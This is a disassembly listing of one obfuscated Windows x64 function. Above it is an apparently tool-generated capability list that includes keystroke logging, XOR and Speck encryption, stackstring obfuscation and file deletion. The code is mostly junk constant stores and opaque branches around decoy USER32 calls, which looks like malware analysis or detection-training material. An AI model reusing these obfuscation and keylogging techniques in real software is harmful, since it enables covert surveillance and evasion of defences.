Function at 0x140001000
Capabilities:
Check http status code
Contain obfuscated stackstrings
Delete directory
Encode data using base64
Encode data using xor
Encrypt data using speck
Get common file path
Get disk information
Get file attributes
Get keyboard layout
Get thread local storage value
Identify system language via api
Log keystrokes via polling
Move file
Parse pe header
Resume thread
Set console window title
Terminate process
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0xf3b8
call fcn.1400a0c60
sub rsp, rax
mov dword [rsp + 0x12a0], 0x9247ca59
movabs rax, 0x6efc2056c3fa1d3
mov qword [rsp + 0x2490], rax
movabs rax, 0x690c546ae1ed8726
mov qword [rsp + 0x2498], rax
movabs rax, 0x78bb4411c23e66c1
mov qword [rsp + 0x24a0], rax
mov byte [rsp + 0x50], 0x60
mov dword [rsp + 0x12a4], 0xe496a314
movabs rax, 0x70e7ec99f07a9483
mov qword [rsp + 0x24a8], rax
mov eax, 0x89c
mov word [rsp + 0x3e4], ax
mov dword [rsp + 0x12a8], 0xc41cd8a
mov eax, 0x895
mov word [rsp + 0x3e8], ax
mov dword [rsp + 0x12ac], 0xdecd313c
mov eax, 0xbff
mov word [rsp + 0x3ec], ax
movabs rax, 0x187be56106a64e95
mov qword [rsp + 0x24b0], rax
mov byte [rsp + 0x51], 0x6c
mov byte [rsp + 0x52], 0x46
movabs rax, 0x2495e3a8eaaf2e69
mov qword [rsp + 0x24b8], rax
mov byte [rsp + 0x53], 0x38
mov eax, 0x255a
mov word [rsp + 0x3f0], ax
mov byte [rsp + 0x54], 0x5b
mov eax, 0x7cc5
mov word [rsp + 0x3f4], ax
mov eax, 0xec4
mov word [rsp + 0x3f8], ax
mov dword [rsp + 0x12b0], 0x6cd6772
mov eax, 0xcf2
mov word [rsp + 0x3fc], ax
mov dword [rsp + 0x12b4], 0x4fc3ec80
mov dword [rsp + 0x12b8], 0xb50609a4
movabs rax, 0x41c500ba23d02113
mov qword [rsp + 0x24c0], rax
movabs rax, 0x45aa47548fcbd38b
mov qword [rsp + 0x24c8], rax
movabs rax, 0x281866ed153c43a9
mov qword [rsp + 0x24d0], rax
movabs rax, 0x13c066611fe5f821
mov qword [rsp + 0x24d8], rax
mov byte [rsp + 0x55], 0xb
mov byte [rsp + 0x56], 0xc1
mov byte [rsp + 0x57], 0xbc
mov eax, 0x725e
mov word [rsp + 0x400], ax
mov eax, 0xb2c
mov word [rsp + 0x404], ax
movabs rax, 0xac45eea1c92406
mov qword [rsp + 0x24e0], rax
mov dword [rsp + 0x12bc], 0x51be45e6
mov dword [rsp + 0x12c0], 0xbb8ba391
mov eax, 0x46c
mov word [rsp + 0x408], ax
mov byte [rsp + 0x58], 0x61
mov dword [rsp + 0x12c4], 0x8c1a35a0
mov byte [rsp + 0x59], 0xa
mov dword [rsp + 0x12c8], 0x26be6c7d
mov dword [rsp + 0x12cc], 0x7ff1f00a
mov eax, 0x51cc
mov word [rsp + 0x40c], ax
mov byte [rsp + 0x5a], 0xde
mov dword [rsp + 0x12d0], 0x7d247dcb
mov dword [rsp + 0x12d4], 0xaa8865ae
movabs rax, 0x4c98ffb6d479ab18
mov qword [rsp + 0x24e8], rax
mov dword [rsp + 0x12d8], 0x6707522b
mov dword [rsp + 0x12dc], 0x5b2ee778
mov eax, 0xbd4
mov word [rsp + 0x410], ax
mov dword [rsp + 0x12e0], 0x58b19d7c
mov byte [rsp + 0x5b], 0x61
movabs rax, 0x6cfb77adb2989676
mov qword [rsp + 0x24f0], rax
mov byte [rsp + 0x5c], 0xb
movabs rax, 0x6734f68601b55fbe
mov qword [rsp + 0x24f8], rax
mov dword [rsp + 0x12e4], 0xf55b9968
movabs rax, 0x2a5e8efd5f018476
mov qword [rsp + 0x2500], rax
movabs rax, 0x1f301b55ff4e918c
mov qword [rsp + 0x2508], rax
mov eax, 0x4a39
mov word [rsp + 0x414], ax
movabs rax, 0x55f6c9f586de94f5
mov qword [rsp + 0x2510], rax
mov eax, 0x1d2
mov word [rsp + 0x418], ax
movabs rax, 0x77adc65c7f1e10c4
mov qword [rsp + 0x2518], rax
mov dword [rsp + 0x12e8], 0x30bd13d4
movabs rax, 0xfa78ba2742261c2f
mov qword [rsp + 0x2520], rax
mov eax, 0x73a5
mov word [rsp + 0x41c], ax
movabs rax, 0x9166c1686cccdb70
mov qword [rsp + 0x2528], rax
mov dword [rsp + 0x12ec], 0xf70efd9a
mov byte [rsp + 0x5d], 0x2b
mov eax, 0x79d0
mov word [rsp + 0x420], ax
mov byte [rsp + 0x5e], 0xcc
movabs rax, 0xe6aa33ee3421b1c9
mov qword [rsp + 0x2530], rax
mov eax, 0x228c
mov word [rsp + 0x424], ax
mov dword [rsp + 0x12f0], 0x4a63a540
mov eax, 0xb60
mov word [rsp + 0x428], ax
mov byte [rsp + 0x5f], 0x3c
movabs rax, 0x253260a4a6667cba
mov qword [rsp + 0x2538], rax
mov eax, 0x516
mov word [rsp + 0x42c], ax
mov eax, 0x705c
mov word [rsp + 0x430], ax
mov eax, 0x1ff
mov word [rsp + 0x434], ax
mov dword [rsp + 0x12f4], 0x3d01bafa
mov byte [rsp + 0x60], 0x72
movabs rax, 0x254ffb04a01e1f7a
mov qword [rsp + 0x2540], rax
movabs rax, 0xfb5bc9691b230664
mov qword [rsp + 0x2548], rax
mov eax, 0xf42
mov word [rsp + 0x438], ax
movabs rax, 0xaab349bd2d41df28
mov qword [rsp + 0x2550], rax
movabs rax, 0x76b5f4070b442315
mov qword [rsp + 0x2558], rax
mov eax, 0xcd7
mov word [rsp + 0x43c], ax
movabs rax, 0x7fe42c8e42e1eb4a
mov qword [rsp + 0x2560], rax
mov dword [rsp + 0x12f8], 0x4df799bb
mov eax, 0xdb6
mov word [rsp + 0x440], ax
mov eax, 0xf48
mov word [rsp + 0x444], ax
mov eax, 0x2d5f
mov word [rsp + 0x448], ax
mov eax, 0x86e
mov word [rsp + 0x44c], ax
mov eax, 0x39
mov word [rsp + 0x450], ax
mov eax, 0x42f6
mov word [rsp + 0x454], ax
mov byte [rsp + 0x61], 0x14
mov dword [rsp + 0x12fc], 0x5c7fd3ef
mov eax, 0x69c4
mov word [rsp + 0x458], ax
mov dword [rsp + 0x1300], 0xd97fd6cb
mov dword [rsp + 0x1304], 0x237f9854
mov dword [rsp + 0x1308], 0x142dbf93
movabs rax, 0xd05bc80763642e64
mov qword [rsp + 0x2568], rax
mov dword [rsp + 0x130c], 0x70e39084
mov byte [rsp + 0x62], 0xd
mov byte [rsp + 0x63], 0x30
mov dword [rsp + 0x1310], 0x96c14416
movabs rax, 0x9f9f36f61675a614
mov qword [rsp + 0x2570], rax
mov eax, 0xf68
mov word [rsp + 0x45c], ax
mov dword [rsp + 0x1314], 0x3370abde
mov eax, 0xa93
mov word [rsp + 0x460], ax
mov dword [rsp + 0x1318], 0x273e9016
movabs rax, 0x40271435d78ea7ba
mov qword [rsp + 0x2578], rax
movabs rax, 0x8f276e9ee9592abc
mov qword [rsp + 0x2580], rax
mov byte [rsp + 0x64], 0xea
movabs rax, 0x3c825a801f5e6f68
mov qword [rsp + 0x2588], rax
mov eax, 0xc6
mov word [rsp + 0x464], ax
mov eax, 0xe81
mov word [rsp + 0x468], ax
movabs rax, 0x5ef1f24933086493
mov qword [rsp + 0x2590], rax
mov eax, 0x6536
mov word [rsp + 0x46c], ax
mov eax, 0x176d
mov word [rsp + 0x470], ax
mov eax, 0x2aa
mov word [rsp + 0x474], ax
mov dword [rsp + 0x131c], 0x989a62f1
mov dword [rsp + 0x1320], 0xb99ee1ba
mov eax, 0x3477
mov word [rsp + 0x478], ax
mov byte [rsp + 0x65], 0x5c
mov dword [rsp + 0x1324], 0x6d612203
movabs rax, 0xed0425718a72b433
mov qword [rsp + 0x2598], rax
movabs rax, 0x1c6ac74dca57ba87
mov qword [rsp + 0x25a0], rax
mov eax, 0x397
mov word [rsp + 0x47c], ax
movabs rax, 0x1eb0f982ffebc050
mov qword [rsp + 0x25a8], rax
movabs rax, 0x5578c97df4a8682b
mov qword [rsp + 0x25b0], rax
mov dword [rsp + 0x1328], 0x5d39e6f7
mov byte [rsp + 0x66], 0xa
movabs rax, 0x4cd95c2ae15e8c49
mov qword [rsp + 0x25b8], rax
mov eax, 0x173a
mov word [rsp + 0x480], ax
movabs rax, 0x1bc55e4e14698157
mov qword [rsp + 0x25c0], rax
movabs rax, 0x1b0d98827fce60ee
mov qword [rsp + 0x25c8], rax
mov dword [rsp + 0x132c], 0x88271dc
movabs rax, 0x41e1d3e187ddcfbf
mov qword [rsp + 0x25d0], rax
movabs rax, 0xfe1d6d987e1d83a9
mov qword [rsp + 0x25d8], rax
mov eax, 0x7f0
mov word [rsp + 0x484], ax
mov byte [rsp + 0x67], 0x24
mov dword [rsp + 0x1330], 0x3816c828
mov eax, 0x589a
mov word [rsp + 0x488], ax
movabs rax, 0x2781fb388a7a713f
mov qword [rsp + 0x25e0], rax
mov byte [rsp + 0x68], 0x57
movabs rax, 0x7bef40d0249e587b
mov qword [rsp + 0x25e8], rax
mov eax, 0x312a
mov word [rsp + 0x48c], ax
mov byte [rsp + 0x69], 0xb4
mov eax, 0x161b
mov word [rsp + 0x490], ax
movabs rax, 0x23ad4e7a001e66f4
mov qword [rsp + 0x25f0], rax
mov byte [rsp + 0x6a], 0x6f
mov eax, 0x9a9
mov word [rsp + 0x494], ax
mov dword [rsp + 0x1334], 0xb5f5b6a9
mov eax, 0x4fc
mov word [rsp + 0x498], ax
mov byte [rsp + 0x6b], pe_nt_image_headers64
movabs rax, 0x29a1cb4ce5a456c0
mov qword [rsp + 0x25f8], rax
mov dword [rsp + 0x1338], 0x743aa989
mov eax, 0xc9
mov word [rsp + 0x49c], ax
mov dword [rsp + 0x133c], 0xc5cda3c5
mov byte [rsp + 0x6c], 0x12
movabs rax, 0x5f7223576caf9130
mov qword [rsp + 0x2600], rax
mov dword [rsp + 0x1340], 0x6da43b55
mov eax, 0x1c08
mov word [rsp + 0x4a0], ax
mov dword [rsp + 0x1344], 0x97f7eb9
mov byte [rsp + 0x6d], 0x2b
movabs rax, 0xc6b8cf6cf5dea2a7
mov qword [rsp + 0x2608], rax
mov byte [rsp + 0x6e], 0x9e
mov dword [rsp + 0x1348], 0x13cfad3b
mov dword [rsp + 0x134c], 0xcc7bf85
mov byte [rsp + 0x6f], 0x49
mov eax, 0x74a8
mov word [rsp + 0x4a4], ax
mov dword [rsp + 0x1350], 0x5d6b829a
mov eax, 0x972
mov word [rsp + 0x4a8], ax
mov eax, 0xc88
mov word [rsp + 0x4ac], ax
mov dword [rsp + 0x1354], 0x2455d748
mov eax, 0x235c
mov word [rsp + 0x4b0], ax
mov dword [rsp + 0x1358], 0xe6a41aa4
movabs rax, 0x35c72fcf151b8d58
mov qword [rsp + 0x2610], rax
movabs rax, 0x2521ac96acae4b66
mov qword [rsp + 0x2618], rax
movabs rax, 0x2b91d2699e9ce6be
mov qword [rsp + 0x2620], rax
movabs rax, 0xb5653eae7e212a
mov qword [rsp + 0x2628], rax
mov dword [rsp + 0x135c], 0x23cde9c0
movabs rax, 0xf38719b7b4b22d12
mov qword [rsp + 0x2630], rax
movabs rax, 0x95adf39d7691eb6a
mov qword [rsp + 0x2638], rax
movabs rax, 0x55d5a152cedc0798
mov qword [rsp + 0x2640], rax
mov byte [rsp + 0x70], 0x6f
movabs rax, 0x6cde5455d4d87ac3
mov qword [rsp + 0x2648], rax
movabs rax, 0xdb646047a7d79fae
mov qword [rsp + 0x2650], rax
mov eax, 0x29
mov word [rsp + 0x4b4], ax
mov eax, 0x87e
mov word [rsp + 0x4b8], ax
mov byte [rsp + 0x71], 0x3d
movabs rax, 0x48d5663a03dd997
mov qword [rsp + 0x2658], rax
mov eax, 0x60d9
mov word [rsp + 0x4bc], ax
mov eax, 0xc25
mov word [rsp + 0x4c0], ax
movabs rax, 0x7bd79d33bb35f605
mov qword [rsp + 0x2660], rax
mov dword [rsp + 0x1360], 0x44dc6f4
mov eax, 0xd25
mov word [rsp + 0x4c4], ax
movabs rax, 0x36fc064dc0bc22c1
mov qword [rsp + 0x2668], rax
mov eax, 0xabe
mov word [rsp + 0x4c8], ax
mov byte [rsp + 0x72], 0x33
mov dword [rsp + 0x1364], 0x7521716a
mov byte [rsp + 0x73], 0x22
mov eax, 0x4fdb
mov word [rsp + 0x4cc], ax
mov eax, 0x49cb
mov word [rsp + 0x4d0], ax
mov byte [rsp + 0x74], 0x29
movabs rax, 0x99e4e1203b064bd9
mov qword [rsp + 0x2670], rax
mov byte [rsp + 0x75], 0x31
movabs rax, 0x23898bc7ecec7aef
mov qword [rsp + 0x2678], rax
movabs rax, 0x48d6789017d63afd
mov qword [rsp + 0x2680], rax
movabs rax, 0x6d0f34be765c70e3
mov qword [rsp + 0x2688], rax
mov eax, 0xc38
mov word [rsp + 0x4d4], ax
mov eax, 0x4fe3
mov word [rsp + 0x4d8], ax
mov dword [rsp + 0x1368], 0xdc05ccf
movabs rax, 0x29171733c7b02ca9
mov qword [rsp + 0x2690], rax
mov dword [rsp + 0x136c], 0x6385acbb
mov eax, 0x6848
mov word [rsp + 0x4dc], ax
mov byte [rsp + 0x76], 0x34
mov dword [rsp + 0x1370], 0x1fe1edaf
movabs rax, 0x1641a93fc9f1efef
mov qword [rsp + 0x2698], rax
mov eax, 0x276
mov word [rsp + 0x4e0], ax
mov dword [rsp + 0x1374], 0x2a5ef8a5
mov byte [rsp + 0x77], 0x3e
mov dword [rsp + 0x1378], 0x5ace8817
mov dword [rsp + 0x137c], 0x5d2ab366
movabs rax, 0x49696f0d6254588f
mov qword [rsp + 0x26a0], rax
movabs rax, 0x361819d6d5528528
mov qword [rsp + 0x26a8], rax
mov eax, 0x64e
mov word [rsp + 0x4e4], ax
mov dword [rsp + 0x1380], 0x71f3f42e
mov eax, 0xfdb
mov word [rsp + 0x4e8], ax
mov eax, 0xacb
mov word [rsp + 0x4ec], ax
mov byte [rsp + 0x78], 0x3f
mov eax, 0x545f
mov word [rsp + 0x4f0], ax
mov dword [rsp + 0x1384], 0x626c312b
mov eax, 0xf22
mov word [rsp + 0x4f4], ax
mov byte [rsp + 0x79], 0xd9
mov dword [rsp + 0x1388], 0xc422caec
movabs rax, 0x31f843e2d1db9a8f
mov qword [rsp + 0x26b0], rax
movabs rax, 0x47340b0ded68c662
mov qword [rsp + 0x26b8], rax
mov byte [rsp + 0x7a], 0x69
mov dword [rsp + 0x138c], 0x15b68e64
mov eax, 0x9fb
mov word [rsp + 0x4f8], ax
mov byte [rsp + 0x7b], 0x42
mov byte [rsp + 0x7c], 0x62
mov dword [rsp + 0x1390], 0x5f5d3
mov eax, 0x30c2
mov word [rsp + 0x4fc], ax
mov dword [rsp + 0x1394], 0x3f7fdca3
mov dword [rsp + 0x1398], 0x36ea9aac
movabs rax, 0x2bb45f7b7ce16c7d
mov qword [rsp + 0x26c0], rax
mov eax, 0x5cd8
mov word [rsp + 0x500], ax
mov eax, 0xf7c
mov word [rsp + 0x504], ax
mov dword [rsp + 0x139c], 0x742690e4
mov dword [rsp + 0x13a0], 0x23d8025
mov dword [rsp + 0x13a4], 0x1662efd5
mov dword [rsp + 0x13a8], 0x79be7d4e
mov eax, 0x5e19
mov word [rsp + 0x508], ax
mov byte [rsp + 0x7d], 0x68
mov byte [rsp + 0x7e], 0x32
mov dword [rsp + 0x13ac], 0x7ef54b47
movabs rax, 0x1d11bc1d01f738af
mov qword [rsp + 0x26c8], rax
mov byte [rsp + 0x7f], 0x3b
mov byte [rsp + 0x80], 0x45
mov dword [rsp + 0x13b0], 0x59561ac9
mov dword [rsp + 0x13b4], 0x5d9e9d9c
movabs rax, 0x6f0eb13bfd378092
mov qword [rsp + 0x26d0], rax
movabs rax, 0xff87c65f0bb12106
mov qword [rsp + 0x26d8], rax
mov byte [rsp + 0x81], 0xd2
movabs rax, 0xa71a0e8ac00ba614
mov qword [rsp + 0x26e0], rax
mov dword [rsp + 0x13b8], 0x6bafa746
mov eax, 0xd88
mov word [rsp + 0x50c], ax
mov byte [rsp + 0x82], 0x79
mov eax, 0xb40
mov word [rsp + 0x510], ax
mov byte [rsp + 0x83], 0xfd
mov byte [rsp + 0x84], 0x35
mov eax, 0xb24
mov word [rsp + 0x514], ax
mov eax, 0x517
mov word [rsp + 0x518], ax
mov eax, 0xf84
mov word [rsp + 0x51c], ax
mov eax, 0x3e35
mov word [rsp + 0x520], ax
movabs rax, 0x80bbf4ffd9e48c0
mov qword [rsp + 0x26e8], rax
mov eax, 0x62b6
mov word [rsp + 0x524], ax
mov eax, 0x545
mov word [rsp + 0x528], ax
mov byte [rsp + 0x85], 0x30
mov dword [rsp + 0x13bc], 0x4f292640
movabs rax, 0x2840e95f2053a162
mov qword [rsp + 0x26f0], rax
mov eax, 0x345d
mov word [rsp + 0x52c], ax
mov byte [rsp + 0x86], 0x63
mov byte [rsp + 0x87], 0xcf
mov byte [rsp + 0x88], 0x11
mov eax, 0x52f
mov word [rsp + 0x530], ax
mov dword [rsp + 0x13c0], 0xde5047b
mov eax, 0x57b
mov word [rsp + 0x534], ax
mov byte [rsp + 0x89], 0x43
mov eax, 0x545b
mov word [rsp + 0x538], ax
mov eax, 0x22eb
mov word [rsp + 0x53c], ax
mov eax, 0x803
mov word [rsp + 0x540], ax
mov eax, 0x226
mov word [rsp + 0x544], ax
mov eax, 0xeb6
mov word [rsp + 0x548], ax
mov byte [rsp + 0x8a], 0xc
mov eax, 0x6685
mov word [rsp + 0x54c], ax
mov dword [rsp + 0x13c4], 0x9ab7982d
mov eax, 0x2bc8
mov word [rsp + 0x550], ax
movabs rax, 0xdc741dacab249ae5
mov qword [rsp + 0x26f8], rax
mov dword [rsp + 0x13c8], 0xde1e7d5a
mov byte [rsp + 0x8b], 0xb
mov eax, 0xe0b
mov word [rsp + 0x554], ax
mov dword [rsp + 0x13cc], 0x2b6d6141
mov dword [rsp + 0x13d0], 0x13afbcdf
mov eax, 0x7c8
mov word [rsp + 0x558], ax
mov eax, 0xe47
mov word [rsp + 0x55c], ax
mov dword [rsp + 0x13d4], 0x109b7d2f
mov eax, 0x60a3
mov word [rsp + 0x560], ax
movabs rax, 0xeaceae9ce8cae375
mov qword [rsp + 0x2700], rax
movabs rax, 0x6dbcb560b3bc24f5
mov qword [rsp + 0x2708], rax
mov dword [rsp + 0x13d8], 0x30105747
movabs rax, 0x536b41528659bf1d
mov qword [rsp + 0x2710], rax
mov byte [rsp + 0x8c], 0x22
mov eax, 0x5bd
mov word [rsp + 0x564], ax
movabs rax, 0x363c9bad5a4e8f6f
mov qword [rsp + 0x2718], rax
mov dword [rsp + 0x13dc], 0x860a4820
mov byte [rsp + 0x8d], 0x84
mov byte [rsp + 0x8e], 0x6d
mov eax, 0xc27
mov word [rsp + 0x568], ax
mov byte [rsp + 0x8f], 0x2f
mov eax, 0x7a5b
mov word [rsp + 0x56c], ax
mov byte [rsp + 0x90], 3
mov byte [rsp + 0x91], 0x53
mov byte [rsp + 0x92], 0x6d
mov eax, 0x8f6
mov word [rsp + 0x570], ax
movabs rax, 0x9c33c568300a0f9f
mov qword [rsp + 0x2720], rax
mov eax, 0xb3e
mov word [rsp + 0x574], ax
mov dword [rsp + 0x13e0], 0x2defc616
mov byte [rsp + 0x93], 0x2e
movabs rax, 0xc46dcdcf0c9bf540
mov qword [rsp + 0x2728], rax
mov byte [rsp + 0x94], 0x6d
mov dword [rsp + 0x13e4], 0x13ca3eee
mov eax, 0x3d5d
mov word [rsp + 0x578], ax
mov eax, 0x1648
mov word [rsp + 0x57c], ax
mov eax, 0xf38
mov word [rsp + 0x580], ax
mov eax, 0x722
mov word [rsp + 0x584], ax
movabs rax, 0xc5fe5d7f199cb016
mov qword [rsp + 0x2730], rax
mov eax, 0xa7a
mov word [rsp + 0x588], ax
mov eax, 0x1db8
mov word [rsp + 0x58c], ax
mov dword [rsp + 0x13e8], 0x3555071a
mov byte [rsp + 0x95], 0xef
movabs rax, 0xc77058c5cb7b7dca
mov qword [rsp + 0x2738], rax
mov byte [rsp + 0x96], 0x7c
mov eax, 0x53c1
mov word [rsp + 0x590], ax
mov byte [rsp + 0x97], 0x77
mov dword [rsp + 0x13ec], 0xa90966da
mov dword [rsp + 0x13f0], 0x5d739fbf
movabs rax, 0x1c156ce723ddc1b2
mov qword [rsp + 0x2740], rax
mov eax, 0xc66
mov word [rsp + 0x594], ax
mov byte [rsp + 0x98], 0x6b
mov eax, 0x3bf
mov word [rsp + 0x598], ax
movabs rax, 0x2438675540d110f6
mov qword [rsp + 0x2748], rax
mov byte [rsp + 0x99], 2
mov dword [rsp + 0x13f4], 0x46b1edab
mov byte [rsp + 0x9a], 0xc6
mov dword [rsp + 0x13f8], 0x644f5c87
mov dword [rsp + 0x13fc], 0x100d6ad2
mov dword [rsp + 0x1400], 0x17d20cf7
mov dword [rsp + 0x1404], 0x4ba9464c
mov eax, 0x3daa
mov word [rsp + 0x59c], ax
movabs rax, 0xba88c880cce659ae
mov qword [rsp + 0x2750], rax
movabs rax, 0x491b7586f7d6991e
mov qword [rsp + 0x2758], rax
mov dword [rsp + 0x1408], 0x34bc1b04
mov byte [rsp + 0x9b], 1
movabs rax, 0x4aa4e714190f72ee
mov qword [rsp + 0x2760], rax
mov byte [rsp + 0x9c], 0x5b
mov byte [rsp + 0x9d], 0x6d
mov byte [rsp + 0x9e], 0xee
mov byte [rsp + 0x9f], 0x59
movabs rax, 0x6c4103b04098adc2
mov qword [rsp + 0x2768], rax
mov dword [rsp + 0x140c], 0x531cf2d1
mov dword [rsp + 0x1410], 0xc3a92b0
movabs rax, 0x95c666d86ca8fef3
mov qword [rsp + 0x2770], rax
mov eax, 0x2e3
mov word [rsp + 0x5a0], ax
movabs rax, 0xd4fe6fcc6c91ab78
mov qword [rsp + 0x2778], rax
mov eax, 0x81d
mov word [rsp + 0x5a4], ax
mov eax, 0x887
mov word [rsp + 0x5a8], ax
mov byte [rsp + 0xa0], 0xfa
movabs rax, 0x539b96b71f80cccc
mov qword [rsp + 0x2780], rax
movabs rax, 0xf165aa9cf44aabca
mov qword [rsp + 0x2788], rax
mov eax, 0x555
mov word [rsp + 0x5ac], ax
mov byte [rsp + 0xa1], 0x1a
mov byte [rsp + 0xa2], 0x42
movabs rax, 0x6fb5230df2d25c80
mov qword [rsp + 0x2790], rax
mov byte [rsp + 0xa3], 0x55
movabs rax, 0x1e0dd1695c6d9493
mov qword [rsp + 0x2798], rax
movabs rax, 0xe5c18f0c6db6bbf2
mov qword [rsp + 0x27a0], rax
mov dword [rsp + 0x1414], 0x57d5df8e
mov byte [rsp + 0xa4], 0x2b
mov byte [rsp + 0xa5], 0x29
mov byte [rsp + 0xa6], 0x3f
mov dword [rsp + 0x1418], 0x33b56cd0
mov byte [rsp + 0xa7], 0x53
mov eax, 0x12c3
mov word [rsp + 0x5b0], ax
mov dword [rsp + 0x141c], 0x7f55ef7a
mov eax, 0x6b
mov word [rsp + 0x5b4], ax
movabs rax, 0x9e17ca3d75e65d50
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x27a8]
mov qword [rsp + 0x27b0], rax
movabs rax, 0xfc06ecdc11e42abb
cmp qword [rsp + 0x27b0], rax
je 0x140002390
jmp 0x1400023b2
mov rdx, qword [rsp + 0x27b8]
lea rcx, [rsp + 0x27a8]
call qword [sym.imp.USER32.dll_PtInRect]
mov dword [rsp + 0x1420], eax
jmp 0x140002448
mov rax, qword [rsp + 0x27a8]
mov qword [rsp + 0x27c0], rax
movabs rax, 0x9e17ca3d75e65d50
cmp qword [rsp + 0x27c0], rax
je 0x1400023d8
jmp 0x140002433
movzx eax, word [rsp + 0x404]
add eax, 0x7c0
mov word [rsp + 0x404], ax
mov eax, 0x29e2
mov word [rsp + 0x5b8], ax
mov dword [rsp + 0x1424], 0xa215
mov eax, dword [section..data]
sub eax, 0x461d5251
mov dword [section..data], eax
mov dword [rsp + 0x1428], 0xaf1d
lea rax, [rsp + 0x404]
mov qword [rsp + 0x27c8], rax
jmp 0x140002448
movsx eax, word [rsp + 0x5b8]
and eax, 0x341c
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
cdq
mov ecx, 0xfb5
idiv ecx
movzx ecx, word [rsp + 0x404]
cmp eax, ecx
jl 0x1400024cc
movzx eax, word [rsp + 0x404]
shl eax, 0xa
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
cmp eax, ecx
jge 0x1400024cc
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x404]
xor eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov r8, qword [rsp + 0x27d0]
lea rdx, [rsp + 0x27a8]
mov rcx, qword [rsp + 0x27d8]
call qword [sym.imp.USER32.dll_FrameRect]
mov dword [rsp + 0x142c], eax
call fcn.14009fa10
nop
lea rax, [rsp + 0x27a8]
mov qword [rsp + 0x27e0], rax
mov dword [rsp + 0x1430], 0xe83
cmp dword [rsp + 0x142c], 0x167ff195
je 0x14009f9b7
mov eax, dword [rsp + 0x142c]
mov dword [rsp + 0x1434], eax
cmp dword [rsp + 0x1434], 0x323e1d00
je 0x140002558
cmp dword [rsp + 0x1434], 0x6ae4e648
je 0x140002522
jmp 0x14000256e
movzx eax, word [rsp + 0x404]
sub eax, 0x4e
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
add eax, 0xbdd
mov word [rsp + 0x404], ax
call fcn.14009fa10
nop
jmp 0x14000256e
mov rcx, qword [rsp + 0x27e8]
call qword [sym.imp.USER32.dll_CopyIcon]
mov qword [rsp + 0x27f0], rax
movabs rax, 0x31560667f5f7f207
mov rcx, qword [rsp + 0x27a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
cmp rax, qword [rcx]
jne 0x1400025c1
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x27a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov cl, 0xd9
call fcn.14009fbf0
nop
jmp 0x140002791
movsx eax, word [rsp + 0x5b8]
cmp eax, 0x8b
je 0x140002791
mov byte [rsp + 0xa8], 0xc
mov byte [0x1400b9e10], 0x25
mov dword [rsp + 0x1438], 0x2356
movzx eax, word [rsp + 0x404]
add eax, 0xa9d
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
cmp eax, ecx
jle 0x140002786
movzx eax, word [rsp + 0x5b8]
mov word [rsp + 0x5bc], ax
lea rax, [rsp + 0x404]
mov qword [rsp + 0x27f8], rax
mov eax, dword [rsp + 0x142c]
mov dword [rsp + 0x143c], eax
mov dword [rsp + 0x1440], 0x325b
movabs rax, 0x83705374f00037c
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x27a8]
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov dword [rsp + 0x1444], eax
cmp dword [rsp + 0x1444], 0x12ec
je 0x14000268d
jmp 0x140002778
mov eax, dword [section..data]
mov dword [rsp + 0x1448], eax
cmp dword [rsp + 0x1448], 0x5509bc99
je 0x1400026bd
cmp dword [rsp + 0x1448], 0x6b8b0cd8
je 0x140002756
jmp 0x140002776
movsx eax, word [rsp + 0x5b8]
mov dword [rsp + 0x144c], eax
cmp dword [rsp + 0x144c], 0x29e2
je 0x1400026db
jmp 0x14000272c
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x2810], rax
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov qword [0x1400b9008], rax
lea rax, [rsp + 0x404]
mov qword [rsp + 0x2818], rax
jmp 0x14000273e
movzx eax, byte [rsp + 0xa9]
sub eax, 0x45
mov byte [rsp + 0xa8], al
mov dword [rsp + 0x1450], 0x9ff0
mov dword [rsp + 0x1454], 0x529a
jmp 0x140002776
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x404]
sar eax, cl
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
jmp 0x140002786
movzx ecx, byte [rsp + 0xa8]
call fcn.1400a0b80
nop
mov dword [rsp + 0x1458], 0xc542
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [0x1400b9008]
mov rcx, qword [rsp + 0x27a8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
add eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x404]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
